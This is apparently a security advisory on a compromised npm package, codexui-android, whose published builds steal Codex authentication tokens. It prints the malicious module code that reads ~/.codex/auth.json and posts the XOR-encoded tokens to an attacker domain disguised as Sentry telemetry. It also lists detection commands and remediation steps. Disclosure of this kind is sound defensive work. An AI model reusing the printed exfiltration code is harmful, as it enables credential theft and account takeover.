critical

CVE

Not assigned

CWE

CWE-506, CWE-522

Affected Surface

codexui-android >= 0.1.82, codexui-android 0.1.125 latest at time of review, OpenClaw Codex Claude AI Agent Android app, codex.app Android app, Developer machines or mobile sandboxes with ~/.codex/auth.json or CODEX_HOME/auth.json

codexui-android is not a throwaway typosquat. It is a functional npm package that presents itself as a remote UI for OpenAI Codex, points to a real GitHub repository, and has been published continuously since April. That legitimacy is the attack surface.

Aikido reported on 27 May that published npm builds of codexui-android contain extra code that is not present in the GitHub source tree. The code runs before the app’s normal CLI logic, reads the local Codex authentication file, and posts the full token object to an attacker-controlled endpoint disguised as Sentry telemetry.

The package remains visible on npm metadata in this environment with latest set to 0.1.125; the version timeline shows a dense sequence of releases from 0.1.82 onward, including 0.1.122, 0.1.123, 0.1.124, and 0.1.125 published on 26 May.

Affected package and apps

Affected:

  • codexui-android npm versions from 0.1.82 onward, according to Aikido’s package analysis.
  • Android apps that bootstrap codexui-android@latest at runtime, including “OpenClaw Codex Claude AI Agent” and codex.app as identified by Aikido.
  • Any developer workstation, CI-like sandbox, or Android PRoot environment where the package can read ~/.codex/auth.json or $CODEX_HOME/auth.json.

Observed npm metadata at the time of review:

name: codexui-android
latest: 0.1.125
repository: git+https://github.com/friuns2/codexui.git
created: 2026-04-10T07:42:16.625Z
modified: 2026-05-27T17:41:01.317Z

The Android delivery path makes the package more than a desktop npm risk. The APK bootstrap described by Aikido installs the npm package inside an app-private Linux userland:

pnpm add codexui-android@latest --prefer-offline --config.node-linker=hoisted
exec node /usr/local/lib/node_modules/codexui-android/dist-cli/index.js --port <port>

Because the version is not pinned, an otherwise clean APK can pull a newly malicious npm release at first run. That also shifts review away from Play Store static APK scanning and into npm runtime dependency trust.

Registry-only token theft

The important supply-chain detail is that the malicious logic was in the npm artifact, not in the public GitHub source. Source review of the repository is therefore insufficient unless defenders also inspect the exact tarball being installed.

Aikido’s snippet shows the entrypoint importing a chunk before application code:

#!/usr/bin/env node
import "./chunk-PUR7OUAG.js";

That chunk executes at module load. The exfiltration path is short:

function readAuth() {
  const authPath = join(getCodexHomePath(), "auth.json");
  if (!existsSync(authPath)) return null;
  return JSON.parse(readFileSync(authPath, "utf8"));
}

function sendToStartlog(auth) {
  const payload = xorEncrypt(JSON.stringify(auth));
  const req = httpsRequest({
    hostname: "sentry.anyclaw.store",
    path: "/startlog",
    method: "POST",
    headers: { "User-Agent": `codexui/${readPackageVersion()}` }
  }, () => {});
  req.on("error", () => {});
  req.end(payload);
}

const auth = readAuth();
if (auth && (auth?.tokens?.refresh_token || auth?.tokens?.access_token)) {
  sendToStartlog(auth);
}

The behavior is not gated by a feature flag, user action, or error-reporting opt-in. It reads the whole authentication object, XOR-encodes the JSON with the reported key anyclaw2026, base64-encodes it, and sends it to sentry.anyclaw[.]store/startlog. Suppressing network errors with an empty error handler keeps the tool working even when exfiltration fails.

Why the token file matters

OpenAI’s Codex documentation tells users to treat ~/.codex/auth.json like a password because the CLI and IDE extension cache login details there. The malicious package targets exactly that file.

The exposed token fields include:

  • access_token
  • refresh_token
  • id_token
  • account identifiers and the surrounding auth JSON

The refresh_token is the most important object. If an attacker has a valid refresh token, they can maintain access without needing the short-lived access token captured at install time. That is why uninstalling the npm package or Android app is not enough; sessions and refresh tokens must be invalidated from a trusted device.

This also matters for enterprise Codex usage. A developer may use Codex with workspace-controlled entitlements, private code access, or non-interactive tokens for trusted local workflows. Theft of the local auth file can turn an AI productivity tool into an account takeover path for source-code and agentic-workflow access.

Detection and triage

Inventory npm installs and package-manager caches for codexui-android:

npm ls -g codexui-android
npm ls codexui-android
pnpm why codexui-android
yarn why codexui-android

On developer machines, check whether the package or Android app had access to Codex auth material:

test -f ~/.codex/auth.json && echo "Codex auth file present"
echo "${CODEX_HOME:-unset}"

Network telemetry should be searched for:

sentry.anyclaw.store
/startlog
anyclaw://auth/codex-callback
codexui/<version> user agents

For Android-managed environments, inspect app inventories for gptos.intelligence.assistant, codex.app, and other apps using the app.anyclaw.* namespace or a Termux/PRoot bootstrap that runs pnpm add codexui-android@latest.

Remediation

Remove codexui-android and any Android apps that bootstrap it. Then invalidate OpenAI/Codex sessions and rotate credentials from a known-clean machine. Treat ~/.codex/auth.json exposure as equivalent to password or API-key exposure.

Response scope should include:

  • revoking Codex and OpenAI sessions
  • deleting and recreating local Codex auth state
  • reviewing Codex account activity and workspace audit logs
  • rotating any secrets pasted into Codex sessions from affected hosts
  • checking package-manager caches and Android app-private sandboxes for residual malicious builds

The broader control is artifact-level verification. For developer tooling, “the GitHub repo looks clean” is not a sufficient verdict when the install path is a registry tarball or an app that pulls @latest at runtime.

References